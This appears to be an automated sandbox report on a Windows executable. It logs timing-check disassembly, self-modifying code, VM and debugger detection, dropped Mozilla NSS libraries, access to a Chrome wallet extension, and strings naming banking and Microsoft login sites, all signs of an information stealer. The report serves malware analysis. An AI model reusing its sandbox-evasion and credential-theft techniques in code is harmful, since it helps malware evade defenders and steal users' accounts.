Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504B1 second address: 4C504E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F01F07425D9h 0x00000010 jmp 00007F01F07425D0h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504E6 second address: 4C504EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504EC second address: 4C504F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504F0 second address: 4C50532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F01F0E69E31h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F01F0E69E38h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50532 second address: 4C50536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50536 second address: 4C5053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5053C second address: 4C50542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50542 second address: 4C50546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50546 second address: 4C50595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F01F07425CEh 0x00000014 jmp 00007F01F07425D5h 0x00000019 popfd 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50595 second address: 4C505A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505A4 second address: 4C505C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505C9 second address: 4C505DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505DC second address: 4C50648 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+1Ch] 0x0000000c pushad 0x0000000d mov ecx, 0A124293h 0x00000012 popad 0x00000013 push dword ptr [ebp+18h] 0x00000016 jmp 00007F01F07425D5h 0x0000001b push dword ptr [ebp+14h] 0x0000001e jmp 00007F01F07425CEh 0x00000023 push dword ptr [ebp+10h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F01F07425D7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50648 second address: 4C506A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F01F0E69E2Bh 0x0000000b and esi, 60D1013Eh 0x00000011 jmp 00007F01F0E69E39h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push dword ptr [ebp+0Ch] 0x0000001d jmp 00007F01F0E69E2Eh 0x00000022 push dword ptr [ebp+08h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F01F0E69E37h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30800 second address: 4C30806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30806 second address: 4C3080A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C309B0 second address: 4C309B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 push eax 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a inc edx 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop esi 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F01F07425CDh 0x00000016 xor cx, FE76h 0x0000001b jmp 00007F01F07425D1h 0x00000020 popfd 0x00000021 popad 0x00000022 test al, al 0x00000024 jmp 00007F01F07425CEh 0x00000029 jne 00007F01F0742571h 0x0000002f mov al, byte ptr [edx] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 movsx edi, ax 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A29 second address: 4C30A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A2D second address: 4C30A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A4A second address: 4C30A7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F01F0E69E38h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A7E second address: 4C30A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A82 second address: 4C30A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A88 second address: 4C30A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A8E second address: 4C30A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A92 second address: 4C30A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A96 second address: 4C30AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F01F0E69E2Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AAC second address: 4C30ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b pushad 0x0000000c jmp 00007F01F07425D3h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30ACE second address: 4C30AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 419336CBh 0x00000009 popad 0x0000000a popad 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AE2 second address: 4C30AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AE6 second address: 4C30AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AEA second address: 4C30AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AF0 second address: 4C30AF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AF6 second address: 4C30AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AFA second address: 4C30AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30AFE second address: 4C30B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F01F07425D5h 0x00000012 and eax, 146AC976h 0x00000018 jmp 00007F01F07425D1h 0x0000001d popfd 0x0000001e mov si, A067h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30B3D second address: 4C30BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f jmp 00007F01F0E69E39h 0x00000014 popad 0x00000015 jne 00007F0261B51D37h 0x0000001b jmp 00007F01F0E69E2Eh 0x00000020 mov ecx, edx 0x00000022 pushad 0x00000023 mov edi, esi 0x00000025 jmp 00007F01F0E69E2Ah 0x0000002a popad 0x0000002b shr ecx, 02h 0x0000002e jmp 00007F01F0E69E30h 0x00000033 rep movsd 0x00000035 rep movsd 0x00000037 rep movsd 0x00000039 rep movsd 0x0000003b rep movsd 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30BAD second address: 4C30BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30BB1 second address: 4C30BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30BB7 second address: 4C30C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F01F07425CEh 0x00000012 and esi, 66BCD018h 0x00000018 jmp 00007F01F07425CBh 0x0000001d popfd 0x0000001e mov dl, al 0x00000020 popad 0x00000021 and ecx, 03h 0x00000024 jmp 00007F01F07425CBh 0x00000029 rep movsb 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30C0C second address: 4C30C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30C10 second address: 4C30C2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F07425D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30C2B second address: 4C30C34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 3C4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30C34 second address: 4C30C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F01F07425CAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30C4E second address: 4C30D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F01F0E69E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F01F0E69E36h 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F01F0E69E2Eh 0x0000001a jmp 00007F01F0E69E35h 0x0000001f popfd 0x00000020 popad 0x00000021 mov dword ptr fs:[00000000h], ecx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F01F0E69E33h 0x0000002f adc ecx, 1A1E670Eh 0x00000035 jmp 00007F01F0E69E39h 0x0000003a popfd 0x0000003b mov ax, BC17h 0x0000003f popad 0x00000040 pop ecx 0x00000041 pushad 0x00000042 mov si, 170Fh 0x00000046 pushfd 0x00000047 jmp 00007F01F0E69E34h 0x0000004c add ecx, 09AD28B8h 0x00000052 jmp 00007F01F0E69E2Bh 0x00000057 popfd 0x00000058 popad 0x00000059 pop edi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F01F0E69E30h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30D23 second address: 4C30D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30D29 second address: 4C30D59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 push esi 0x00000011 mov cx, di 0x00000014 pop edi 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F01F0E69E37h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30D59 second address: 4C30D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30D5F second address: 4C30D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4001B second address: 4C40021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40021 second address: 4C40025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40025 second address: 4C40062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F01F07425CAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F01F07425D0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007F01F07425CDh 0x00000020 mov ax, 8917h 0x00000024 popad 0x00000025 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 93F314 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 78DC4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 94F575 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5988	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6160	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1436	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4616	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1352	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6480	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5BC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2519121259.000000000091F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HJJJECFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: HJJJECFI.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: HJJJECFI.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HJJJECFI.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HJJJECFI.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000002.2520351860.0000000000E24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: HJJJECFI.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HJJJECFI.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HJJJECFI.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: HJJJECFI.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HJJJECFI.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HJJJECFI.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HJJJECFI.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HJJJECFI.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: HJJJECFI.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: HJJJECFI.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HJJJECFI.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: HJJJECFI.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2519121259.000000000091F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HJJJECFI.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HJJJECFI.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6024, type: MEMORYSTR

